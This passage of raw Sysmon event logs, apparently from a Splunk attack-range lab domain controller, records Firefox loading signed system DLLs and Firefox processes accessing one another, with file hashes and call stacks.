Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+1670a5c|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4 734700x800000000000000050402Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.423{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000050401Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.423{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000050400Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.407{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000050399Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.407{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\vcruntime140_1.dll14.28.29913.0 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio®Microsoft Corporationvcruntime140_1.dllMD5=4DC09CA657822C2E8160255F767597DF,SHA256=922124BA0821AA864A0261ED88BD25F8E40F94C24D00D389E23CD9AB2BFC6BA4,IMPHASH=AE0BDE6314FA2027B54CE04898F6AB69trueMicrosoft CorporationValid 734700x800000000000000050398Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.407{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 734700x800000000000000050397Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.407{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\version.dll10.0.14393.0 (rs1_release.160715-1616)Version Checking and File Installation LibrariesMicrosoft® Windows® Operating SystemMicrosoft CorporationVERSION.DLLMD5=CFDB018AC09F879CAAE7A66CA7880D57,SHA256=6AB95FD0D142CFFC3B9455AF51F003E1CD75B7F4323820390B975F9E1C8A47A5,IMPHASH=9A7C66851249D4CED6C2C9096DCA243BtrueMicrosoft WindowsValid 734700x800000000000000050396Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.407{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\vcruntime140.dll14.28.29913.0 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio®Microsoft Corporationvcruntime140.dllMD5=ADE7AAC069131F54E4294F722C17A412,SHA256=92D50F7C4055718812CD3D823AA2821D6718EB55D2AB2BAC55C2E47260C25A76,IMPHASH=44C3854843F7A3FCCDF8DDBBEA66F302trueMicrosoft CorporationValid 734700x800000000000000050395Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.407{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\msvcp140.dll14.28.29913.0 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio®Microsoft Corporationmsvcp140.dllMD5=4B6BA0947F115AE9FD3016D26D57ABB8,SHA256=254DF96324D019A7C4213ABD4178944B8BF2873D0C3EDC1835D4C668F83D7C37,IMPHASH=4F1912F58F8D1AE7998EF5303198D62DtrueMicrosoft CorporationValid 734700x800000000000000050394Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.407{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000050393Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.407{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000050392Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.407{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000050391Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.407{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000050390Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.407{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\wintrust.dll10.0.14393.4530 (rs1_release.210705-0736)Microsoft Trust Verification APIsMicrosoft® Windows® Operating SystemMicrosoft CorporationWINTRUST.DLLMD5=992BCD32EF7680C574A426FAA4933ACA,SHA256=5755AC46B4220784A6E6AC12A755CC10892A5AE59B67924576075A1A29D68B3D,IMPHASH=EC9695F0DF1F52E9D439A942DBDAA111trueMicrosoft WindowsValid 734700x800000000000000050389Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.407{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\msasn1.dll10.0.14393.0 (rs1_release.160715-1616)ASN.1 Runtime APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationmsasn1.dllMD5=299464D218A27B56684B715365D149FE,SHA256=2BFE4014E06552A9D4201EF9D1C605694AAF2B7B811265EFD91FC6D1C2D48242,IMPHASH=B6562243FBF394F03046E917C719260FtrueMicrosoft WindowsValid 734700x800000000000000050388Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.407{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\crypt32.dll10.0.14393.4350 (rs1_release.210407-2154)Crypto API32Microsoft® Windows® Operating SystemMicrosoft CorporationCRYPT32.DLLMD5=95BA70CFA8087A209500D7D350BF3A59,SHA256=4265157E8DC2A0E32A6328D54181CC31FD24E3017E60B270623C2CDBE5FAB4FA,IMPHASH=5BAA515B293A764CA06512D078C4E624trueMicrosoft WindowsValid 734700x800000000000000050387Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.407{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Program Files\Mozilla Firefox\mozglue.dll92.0-FirefoxMozilla Foundationmozglue.dllMD5=2AA3B81F30451FC8E5A23ED228B8C7D2,SHA256=BB33821ADE195D2C34C3528A148843767FFED9806BB19E19FBE01DEFF12A1DDD,IMPHASH=521A5A933B177363A2A0D8A6C3244738trueMozilla CorporationValid 734700x800000000000000050386Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.407{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000050385Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.406{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000050384Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.406{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000050383Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.404{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000050382Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.404{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 10341000x800000000000000050381Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.404{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe0x2200C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+2fb50|C:\Program Files\Mozilla Firefox\xul.dll+e4cd19|C:\Program Files\Mozilla Firefox\xul.dll+e485b9|C:\Program Files\Mozilla Firefox\xul.dll+e3a3a2|C:\Program Files\Mozilla Firefox\xul.dll+e3960c|C:\Program Files\Mozilla Firefox\xul.dll+e3ba60|C:\Program Files\Mozilla Firefox\xul.dll+c6470f|C:\Program Files\Mozilla Firefox\xul.dll+c61917|C:\Program Files\Mozilla Firefox\xul.dll+2903c0|C:\Program Files\Mozilla Firefox\xul.dll+28ff41|C:\Program Files\Mozilla Firefox\xul.dll+f7f955|C:\Program Files\Mozilla Firefox\xul.dll+176b57f|C:\Program Files\Mozilla Firefox\xul.dll+1769e45|C:\Program Files\Mozilla Firefox\xul.dll+c63f2f|C:\Program Files\Mozilla Firefox\xul.dll+26b82b|C:\Program Files\Mozilla Firefox\xul.dll+239fc5|C:\Program Files\Mozilla Firefox\xul.dll+894e91|C:\Program Files\Mozilla Firefox\xul.dll+183bb12|C:\Program Files\Mozilla Firefox\xul.dll+1a53f2e|C:\Program Files\Mozilla Firefox\xul.dll+16f88d0|C:\Program Files\Mozilla Firefox\xul.dll+16c43e8|C:\Program Files\Mozilla Firefox\xul.dll+1b5e147 10341000x800000000000000050380Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.404{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a462d8|C:\Program Files\Mozilla Firefox\xul.dll+a46044|C:\Program Files\Mozilla Firefox\xul.dll+ac028e|C:\Program Files\Mozilla Firefox\xul.dll+e3a352|C:\Program Files\Mozilla Firefox\xul.dll+e3960c|C:\Program Files\Mozilla Firefox\xul.dll+e3ba60|C:\Program Files\Mozilla Firefox\xul.dll+c6470f|C:\Program Files\Mozilla Firefox\xul.dll+c61917|C:\Program Files\Mozilla Firefox\xul.dll+2903c0|C:\Program Files\Mozilla Firefox\xul.dll+28ff41|C:\Program Files\Mozilla Firefox\xul.dll+f7f955|C:\Program Files\Mozilla Firefox\xul.dll+176b57f|C:\Program Files\Mozilla Firefox\xul.dll+1769e45|C:\Program Files\Mozilla Firefox\xul.dll+c63f2f|C:\Program Files\Mozilla Firefox\xul.dll+26b82b|C:\Program Files\Mozilla Firefox\xul.dll+239fc5|C:\Program Files\Mozilla Firefox\xul.dll+894e91|C:\Program Files\Mozilla Firefox\xul.dll+183bb12|C:\Program Files\Mozilla Firefox\xul.dll+1a53f2e|C:\Program Files\Mozilla Firefox\xul.dll+16f88d0 23542300x800000000000000050379Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.404{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=108AAC3A4CAAEC43A276F1F882F8F027,SHA256=F1623FAFAF7AEF24550C0C67A85A3EF93F568F45F39FBD562EBD5E6608230583,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000050378Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.403{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a51b9d|C:\Program Files\Mozilla Firefox\xul.dll+a4719a|C:\Program Files\Mozilla Firefox\xul.dll+a47054|C:\Program Files\Mozilla Firefox\xul.dll+8e8a8e|C:\Program Files\Mozilla Firefox\xul.dll+e3a0b0|C:\Program Files\Mozilla Firefox\xul.dll+e3960c|C:\Program Files\Mozilla Firefox\xul.dll+e3ba60|C:\Program Files\Mozilla Firefox\xul.dll+c6470f|C:\Program Files\Mozilla Firefox\xul.dll+c61917|C:\Program Files\Mozilla Firefox\xul.dll+2903c0|C:\Program Files\Mozilla Firefox\xul.dll+28ff41|C:\Program Files\Mozilla Firefox\xul.dll+f7f955|C:\Program Files\Mozilla Firefox\xul.dll+176b57f|C:\Program Files\Mozilla Firefox\xul.dll+1769e45|C:\Program Files\Mozilla Firefox\xul.dll+c63f2f|C:\Program Files\Mozilla Firefox\xul.dll+26b82b|C:\Program Files\Mozilla Firefox\xul.dll+239fc5|C:\Program Files\Mozilla Firefox\xul.dll+894e91|C:\Program Files\Mozilla Firefox\xul.dll+183bb12|C:\Program Files\Mozilla Firefox\xul.dll+1a53f2e 10341000x800000000000000050377Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.403{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a47238|C:\Program Files\Mozilla Firefox\xul.dll+e4bf58|C:\Program Files\Mozilla Firefox\xul.dll+e3a04c|C:\Program Files\Mozilla Firefox\xul.dll+e3960c|C:\Program Files\Mozilla Firefox\xul.dll+e3ba60|C:\Program Files\Mozilla Firefox\xul.dll+c6470f|C:\Program Files\Mozilla Firefox\xul.dll+c61917|C:\Program Files\Mozilla Firefox\xul.dll+2903c0|C:\Program Files\Mozilla Firefox\xul.dll+28ff41|C:\Program Files\Mozilla Firefox\xul.dll+f7f955|C:\Program Files\Mozilla Firefox\xul.dll+176b57f|C:\Program Files\Mozilla Firefox\xul.dll+1769e45|C:\Program Files\Mozilla Firefox\xul.dll+c63f2f|C:\Program Files\Mozilla Firefox\xul.dll+26b82b|C:\Program Files\Mozilla Firefox\xul.dll+239fc5|C:\Program Files\Mozilla Firefox\xul.dll+894e91|C:\Program Files\Mozilla Firefox\xul.dll+183bb12|C:\Program Files\Mozilla Firefox\xul.dll+1a53f2e|C:\Program Files\Mozilla Firefox\xul.dll+16f88d0|C:\Program Files\Mozilla Firefox\xul.dll+16c43e8 10341000x800000000000000050376Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.403{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a47238|C:\Program Files\Mozilla Firefox\xul.dll+e4bf58|C:\Program Files\Mozilla Firefox\xul.dll+215d1b|C:\Program Files\Mozilla Firefox\xul.dll+e3a041|C:\Program Files\Mozilla Firefox\xul.dll+e3960c|C:\Program Files\Mozilla Firefox\xul.dll+e3ba60|C:\Program Files\Mozilla Firefox\xul.dll+c6470f|C:\Program Files\Mozilla Firefox\xul.dll+c61917|C:\Program Files\Mozilla Firefox\xul.dll+2903c0|C:\Program Files\Mozilla Firefox\xul.dll+28ff41|C:\Program Files\Mozilla Firefox\xul.dll+f7f955|C:\Program Files\Mozilla Firefox\xul.dll+176b57f|C:\Program Files\Mozilla Firefox\xul.dll+1769e45|C:\Program Files\Mozilla Firefox\xul.dll+c63f2f|C:\Program Files\Mozilla Firefox\xul.dll+26b82b|C:\Program Files\Mozilla Firefox\xul.dll+239fc5|C:\Program Files\Mozilla Firefox\xul.dll+894e91|C:\Program Files\Mozilla Firefox\xul.dll+183bb12|C:\Program Files\Mozilla Firefox\xul.dll+1a53f2e|C:\Program Files\Mozilla Firefox\xul.dll+16f88d0 10341000x800000000000000050375Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.402{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a47238|C:\Program Files\Mozilla Firefox\xul.dll+e4bf58|C:\Program Files\Mozilla Firefox\xul.dll+215d1b|C:\Program Files\Mozilla Firefox\xul.dll+e3a041|C:\Program Files\Mozilla Firefox\xul.dll+e3960c|C:\Program Files\Mozilla Firefox\xul.dll+e3ba60|C:\Program Files\Mozilla Firefox\xul.dll+c6470f|C:\Program Files\Mozilla Firefox\xul.dll+c61917|C:\Program Files\Mozilla Firefox\xul.dll+2903c0|C:\Program Files\Mozilla Firefox\xul.dll+28ff41|C:\Program Files\Mozilla Firefox\xul.dll+f7f955|C:\Program Files\Mozilla Firefox\xul.dll+176b57f|C:\Program Files\Mozilla Firefox\xul.dll+1769e45|C:\Program Files\Mozilla Firefox\xul.dll+c63f2f|C:\Program Files\Mozilla Firefox\xul.dll+26b82b|C:\Program Files\Mozilla Firefox\xul.dll+239fc5|C:\Program Files\Mozilla Firefox\xul.dll+894e91|C:\Program Files\Mozilla Firefox\xul.dll+183bb12|C:\Program Files\Mozilla Firefox\xul.dll+1a53f2e|C:\Program Files\Mozilla Firefox\xul.dll+16f88d0 734700x800000000000000050374Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.403{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000050373Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.402{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000050372Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.402{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 10341000x800000000000000050371Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.401{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+e39fc3|C:\Program Files\Mozilla Firefox\xul.dll+e3960c|C:\Program Files\Mozilla Firefox\xul.dll+e3ba60|C:\Program Files\Mozilla Firefox\xul.dll+c6470f|C:\Program Files\Mozilla Firefox\xul.dll+c61917|C:\Program Files\Mozilla Firefox\xul.dll+2903c0|C:\Program Files\Mozilla Firefox\xul.dll+28ff41|C:\Program Files\Mozilla Firefox\xul.dll+f7f955|C:\Program Files\Mozilla Firefox\xul.dll+176b57f|C:\Program Files\Mozilla Firefox\xul.dll+1769e45|C:\Program Files\Mozilla Firefox\xul.dll+c63f2f|C:\Program Files\Mozilla Firefox\xul.dll+26b82b|C:\Program Files\Mozilla Firefox\xul.dll+239fc5|C:\Program Files\Mozilla Firefox\xul.dll+894e91|C:\Program Files\Mozilla Firefox\xul.dll+183bb12|C:\Program Files\Mozilla Firefox\xul.dll+1a53f2e|C:\Program Files\Mozilla Firefox\xul.dll+16f88d0|C:\Program Files\Mozilla Firefox\xul.dll+16c43e8|C:\Program Files\Mozilla Firefox\xul.dll+1b5e147|C:\Program Files\Mozilla Firefox\xul.dll+177b82f 10341000x800000000000000050370Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.401{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+c1485|C:\Program Files\Mozilla Firefox\xul.dll+e39c9a|C:\Program Files\Mozilla Firefox\xul.dll+e3960c|C:\Program Files\Mozilla Firefox\xul.dll+e3ba60|C:\Program Files\Mozilla Firefox\xul.dll+c6470f|C:\Program Files\Mozilla Firefox\xul.dll+c61917|C:\Program Files\Mozilla Firefox\xul.dll+2903c0|C:\Program Files\Mozilla Firefox\xul.dll+28ff41|C:\Program Files\Mozilla Firefox\xul.dll+f7f955|C:\Program Files\Mozilla Firefox\xul.dll+176b57f|C:\Program Files\Mozilla Firefox\xul.dll+1769e45|C:\Program Files\Mozilla Firefox\xul.dll+c63f2f|C:\Program Files\Mozilla Firefox\xul.dll+26b82b|C:\Program Files\Mozilla Firefox\xul.dll+239fc5|C:\Program Files\Mozilla Firefox\xul.dll+894e91|C:\Program 